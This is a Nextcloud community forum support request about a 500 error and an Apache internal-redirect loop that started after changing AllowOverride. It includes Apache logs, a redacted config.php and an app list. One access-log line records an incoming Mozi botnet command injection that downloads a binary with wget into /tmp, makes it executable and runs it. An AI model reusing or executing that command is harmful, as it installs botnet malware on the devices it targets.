Support intro
Sorry to hear you’re facing problems. 
The community help forum (help.nextcloud.com) is for home and non-enterprise users. Support is provided by other community members on a best effort / “as available” basis. All of those responding are volunteering their time to help you.
If you’re using Nextcloud in a business/critical setting, paid and SLA-based support services can be accessed via portal.nextcloud.com where Nextcloud engineers can help ensure your business keeps running smoothly.
Getting help
In order to help you as efficiently (and quickly!) as possible, please fill in as much of the below requested information as you can.
Before clicking submit: Please check if your query is already addressed via the following resources:
- Official documentation (searchable and regularly updated)
- How to topics and FAQs
- Forum search
(Utilizing these existing resources is typically faster. It also helps reduce the load on our generous volunteers while elevating the signal to noise ratio of the forums otherwise arising from the same queries being posted repeatedly).
The Basics
- Nextcloud Server version (e.g., 29.x.x):
- 33.0.0.16
- Operating system and version (e.g., Ubuntu 24.04):
Debian 12.13
- Web server and version (e.g, Apache 2.4.25):
2.4.65
- Reverse proxy and version _(e.g. nginx 1.27.2)
none
- PHP version (e.g, 8.3):
8.4
- Is this the first time you’ve seen this error? (Yes / No):
Yes
- When did this problem seem to first start?
After upgrading my server there was an error"ocm-provider”- I found on a forum a solution by modifying the AllowOverride directive from None to All
- But doing so result in a Error 500 page
- Installation method (e.g. AlO, NCP, Bare Metal/Archive, etc.)
??
- Are you using CloudfIare, mod_security, or similar? (Yes / No)
No
Summary of the issue you are facing:
Error 500
Steps to replicate it (hint: details matter!):
- Changing AllowOverride from None to All
Log entries
Nextcloud
Please provide the log entries from your Nextcloud log that are generated during the time of problem (via the Copy raw option from Administration settings->Logging screen or from your nextcloud.log located in your data directory). Feel free to use a pastebin/gist service if necessary.
no access to the cloud => no log
Web Browser
If the problem is related to the Web interface, open your browser inspector Console and Network tabs while refreshing (reloading) and reproducing the problem. Provide any relevant output/errors here that appear.
500 error blank page
Web server / Reverse Proxy
The output of your Apache/nginx/system log in /var/log/____:
error.log :
[Sun Mar 01 17:20:41.762678 2026] [mpm_event:notice] [pid 190111:tid 190111] AH00492: caught SIGWINCH, shutting down gracefully
[Sun Mar 01 17:20:41.854367 2026] [mpm_event:notice] [pid 190286:tid 190286] AH00489: Apache/2.4.66 (Debian) OpenSSL/3.0.18 configured -- resuming normal operations
[Sun Mar 01 17:20:41.854535 2026] [core:notice] [pid 190286:tid 190286] AH00094: Command line: '/usr/sbin/apache2'
site-error.log :
[Sun Mar 01 17:20:26.528607 2026] [core:error] [pid 190112:tid 190115] [remote 192.168.0.254:36166] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.
other_vhosts_access.log
site.address:80 59.103.119.94 - - [01/Mar/2026:17:27:27 +0100] "27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0" 400 448 "-" "-"
Configuration
Nextcloud
The output of occ config:list system or similar is best, but, if not possible, the contents of your config.php file from /path/to/nextcloud is fine (make sure to remove any identifiable information!):
{
"system": {
"instanceid": "***REMOVED SENSITIVE VALUE***",
"passwordsalt": "***REMOVED SENSITIVE VALUE***",
"secret": "***REMOVED SENSITIVE VALUE***",
"trusted_domains": [
"192.168.0.19",
"site.address"
],
"datadirectory": "***REMOVED SENSITIVE VALUE***",
"dbtype": "mysql",
"version": "33.0.0.16",
"overwrite.cli.url": "https:\/\/site.address\/dir_site",
"htaccess.RewriteBase": "\/dir_site",
"dbname": "***REMOVED SENSITIVE VALUE***",
"dbhost": "***REMOVED SENSITIVE VALUE***",
"dbport": "",
"dbtableprefix": "oc_",
"mysql.utf8mb4": true,
"dbuser": "***REMOVED SENSITIVE VALUE***",
"dbpassword": "***REMOVED SENSITIVE VALUE***",
"installed": true,
"maintenance": false,
"maintenance_window_start": 1,
"memcache.local": "\\OC\\Memcache\\Redis",
"memcache.locking": "\\OC\\Memcache\\Redis",
"filelocking.enabled": "true",
"redis": {
"host": "***REMOVED SENSITIVE VALUE***",
"port": 0,
"timeout": 0
},
"loglevel": 2,
"config_preset": 2,
"theme": ""
},
"apps": {
"activity": {
"enabled": "yes",
"installed_version": "6.0.0-dev.0",
"types": "filesystem"
},
"app_api": {
"enabled": "yes",
"installed_version": "33.0.0",
"types": ""
},
"backgroundjob": {
"lastjob": "5"
},
"bruteforcesettings": {
"enabled": "yes",
"installed_version": "6.0.0-dev.0",
"types": ""
},
"circles": {
"enabled": "yes",
"installed_version": "33.0.0",
"loopback_tmp_path": "\/mnam",
"loopback_tmp_scheme": "https",
"maintenance_run": "0",
"maintenance_update": "{\"3\":1772380201,\"2\":1772382301,\"1\":1772382601}",
"migration_22": "1",
"migration_run": "0",
"types": "filesystem,dav"
},
"cloud_federation_api": {
"enabled": "yes",
"installed_version": "1.17.0",
"types": "filesystem"
},
"comments": {
"enabled": "yes",
"installed_version": "1.23.0",
"types": "logging"
},
"contactsinteraction": {
"enabled": "yes",
"installed_version": "1.14.1",
"types": "dav"
},
"core": {
"backgroundjobs_mode": "cron",
"files_metadata_installed": "1",
"installedat": "1707071592.5956",
"lastcron": 1772382601,
"lastupdateResult": "[]",
"lastupdatedat": 1772381221,
"mail_providers_enabled": false,
"metadataGenerationDone": "true",
"moveavatarsdone": "yes",
"previewMovedDone": true,
"previewsCleanedUp": "1",
"public_files": "files_sharing\/public.php",
"public_webdav": "dav\/appinfo\/v1\/publicwebdav.php",
"vendor": "nextcloud",
"files_metadata": {
"photos-original_date_time": {
"value": null,
"type": "int",
"etag": "",
"indexed": true,
"editPermission": 0
},
"photos-size": {
"value": null,
"type": "array",
"etag": "",
"indexed": false,
"editPermission": 0
},
"photos-exif": {
"value": null,
"type": "array",
"etag": "",
"indexed": false,
"editPermission": 0
},
"photos-ifd0": {
"value": null,
"type": "array",
"etag": "",
"indexed": false,
"editPermission": 0
},
"photos-gps": {
"value": null,
"type": "array",
"etag": "",
"indexed": false,
"editPermission": 0
},
"photos-place": {
"value": null,
"type": "string",
"etag": "",
"indexed": true,
"editPermission": 0
},
"blurhash": {
"value": null,
"type": "string",
"etag": "b8310e4be411d1277cf3a249595a54dc",
"indexed": false,
"editPermission": 0
}
},
"oc.integritycheck.checker": []
},
"dashboard": {
"enabled": "yes",
"installed_version": "7.13.0",
"types": ""
},
"dav": {
"buildCalendarReminderIndex": "yes",
"buildCalendarSearchIndex": "yes",
"builtSocialSearchIndex": "yes",
"chunks_migrated": "1",
"enabled": "yes",
"installed_version": "1.36.0",
"regeneratedBirthdayCalendarsForYearFix": "yes",
"types": "filesystem"
},
"federatedfilesharing": {
"enabled": "yes",
"installed_version": "1.23.0",
"types": ""
},
"federation": {
"enabled": "yes",
"installed_version": "1.23.0",
"types": "authentication"
},
"files": {
"enabled": "yes",
"installed_version": "2.5.0",
"mimetype_version": "33.0.0.16",
"types": "filesystem"
},
"files_downloadlimit": {
"enabled": "yes",
"installed_version": "5.1.0-dev.0",
"types": ""
},
"files_pdfviewer": {
"enabled": "yes",
"installed_version": "6.0.0-dev.0",
"types": ""
},
"files_reminders": {
"enabled": "yes",
"installed_version": "1.6.0",
"types": ""
},
"files_sharing": {
"enabled": "yes",
"installed_version": "1.25.2",
"types": "filesystem"
},
"files_trashbin": {
"enabled": "yes",
"installed_version": "1.23.0",
"types": "filesystem,dav"
},
"files_versions": {
"enabled": "yes",
"installed_version": "1.26.0",
"types": "filesystem,dav"
},
"firstrunwizard": {
"enabled": "yes",
"installed_version": "6.0.0-dev.0",
"types": ""
},
"guests": {
"enabled": "yes",
"installed_version": "4.6.0",
"types": "authentication"
},
"logreader": {
"enabled": "yes",
"installed_version": "6.0.0",
"types": "logging"
},
"lookup_server_connector": {
"enabled": "yes",
"installed_version": "1.21.0",
"types": "authentication"
},
"nextcloud_announcements": {
"enabled": "yes",
"installed_version": "5.0.0",
"pub_date": "Thu, 24 Oct 2019 00:00:00 +0200",
"types": "logging"
},
"notifications": {
"enabled": "yes",
"installed_version": "6.0.0",
"types": "logging"
},
"oauth2": {
"enabled": "yes",
"installed_version": "1.21.0",
"types": "authentication"
},
"password_policy": {
"enabled": "yes",
"enforceHaveIBeenPwned": "0",
"enforceNumericCharacters": "0",
"enforceSpecialCharacters": "0",
"enforceUpperLowerCase": "0",
"installed_version": "5.0.0-dev.0",
"maximumLoginAttempts": "0",
"types": "authentication"
},
"photos": {
"enabled": "yes",
"installed_version": "6.0.0-dev.0",
"lastPlaceMappedUser": "unuage",
"lastPlaceMappingDone": "true",
"types": "dav,authentication"
},
"privacy": {
"enabled": "yes",
"installed_version": "5.0.0-dev.0",
"types": ""
},
"profile": {
"enabled": "yes",
"installed_version": "1.2.0",
"types": ""
},
"provisioning_api": {
"enabled": "yes",
"installed_version": "1.23.0",
"types": "prevent_group_restriction"
},
"recommendations": {
"enabled": "yes",
"installed_version": "6.0.0-dev.0",
"types": ""
},
"related_resources": {
"enabled": "yes",
"installed_version": "4.0.0-dev.0",
"types": ""
},
"serverinfo": {
"cached_count_appdata_files": 5957,
"cached_count_filecache": 371265,
"cached_count_storages": "6",
"enabled": "yes",
"installed_version": "5.0.0-dev.0",
"phpinfo": "yes",
"size_appdata_storage": -1,
"types": ""
},
"settings": {
"enabled": "yes",
"installed_version": "1.16.0",
"types": ""
},
"sharebymail": {
"enabled": "yes",
"installed_version": "1.23.0",
"types": "filesystem"
},
"support": {
"SwitchUpdaterServerHasRun": "yes",
"enabled": "yes",
"installed_version": "5.0.0",
"types": "session"
},
"survey_client": {
"enabled": "yes",
"installed_version": "5.0.0-dev.0",
"types": ""
},
"systemtags": {
"enabled": "yes",
"installed_version": "1.23.0",
"restrict_creation_to_admin": "1",
"types": "logging"
},
"text": {
"enabled": "yes",
"installed_version": "7.0.0-dev.3",
"types": "dav"
},
"theming": {
"backgroundMime": "backgroundColor",
"cachebuster": 10,
"enabled": "yes",
"faviconMime": "image\/jpeg",
"installed_version": "2.8.0",
"logoDimensions": "149x78",
"logoMime": "image\/jpeg",
"name": "MNAM",
"slogan": "***REMOVED SENSITIVE VALUE***",
"types": "logging",
"url": "***REMOVED SENSITIVE VALUE***"
},
"twofactor_backupcodes": {
"enabled": "yes",
"installed_version": "1.22.0",
"types": ""
},
"twofactor_totp": {
"enabled": "yes",
"installed_version": "15.0.0-dev.0",
"types": ""
},
"updatenotification": {
"core": "32.0.6.1",
"enabled": "yes",
"installed_version": "1.23.0",
"types": "",
"update_check_errors": 0
},
"user_status": {
"enabled": "yes",
"installed_version": "1.13.0",
"types": ""
},
"viewer": {
"enabled": "yes",
"installed_version": "6.0.0-dev.0",
"types": ""
},
"weather_status": {
"enabled": "yes",
"installed_version": "1.13.0",
"types": ""
},
"webhook_listeners": {
"enabled": "yes",
"installed_version": "1.5.0",
"types": "filesystem"
},
"workflowengine": {
"enabled": "yes",
"installed_version": "2.15.0",
"types": "filesystem"
}
}
}
Apps
The output of occ app:list (if possible).
Enabled:
- activity: 6.0.0-dev.0
- app_api: 33.0.0
- bruteforcesettings: 6.0.0-dev.0
- circles: 33.0.0
- cloud_federation_api: 1.17.0
- comments: 1.23.0
- contactsinteraction: 1.14.1
- dashboard: 7.13.0
- dav: 1.36.0
- federatedfilesharing: 1.23.0
- federation: 1.23.0
- files: 2.5.0
- files_downloadlimit: 5.1.0-dev.0
- files_pdfviewer: 6.0.0-dev.0
- files_reminders: 1.6.0
- files_sharing: 1.25.2
- files_trashbin: 1.23.0
- files_versions: 1.26.0
- firstrunwizard: 6.0.0-dev.0
- guests: 4.6.0
- logreader: 6.0.0
- lookup_server_connector: 1.21.0
- nextcloud_announcements: 5.0.0
- notifications: 6.0.0
- oauth2: 1.21.0
- password_policy: 5.0.0-dev.0
- photos: 6.0.0-dev.0
- privacy: 5.0.0-dev.0
- profile: 1.2.0
- provisioning_api: 1.23.0
- recommendations: 6.0.0-dev.0
- related_resources: 4.0.0-dev.0
- serverinfo: 5.0.0-dev.0
- settings: 1.16.0
- sharebymail: 1.23.0
- support: 5.0.0
- survey_client: 5.0.0-dev.0
- systemtags: 1.23.0
- text: 7.0.0-dev.3
- theming: 2.8.0
- twofactor_backupcodes: 1.22.0
- twofactor_totp: 15.0.0-dev.0
- updatenotification: 1.23.0
- user_status: 1.13.0
- viewer: 6.0.0-dev.0
- weather_status: 1.13.0
- webhook_listeners: 1.5.0
- workflowengine: 2.15.0
Disabled: - admin_audit: 1.23.0
- encryption: 2.21.0
- files_external: 1.25.1
- suspicious_login: 11.0.0-dev.0
- twofactor_nextcloud_notification: 7.0.0
- user_ldap: 1.24.0
Tips for increasing the likelihood of a response
- a line is added in the file other_vhosts_access.log only when the AllowOverride is set to All
- to avoid and Apache error I fixed the ServerName value to 192.168.0.254 is it good ?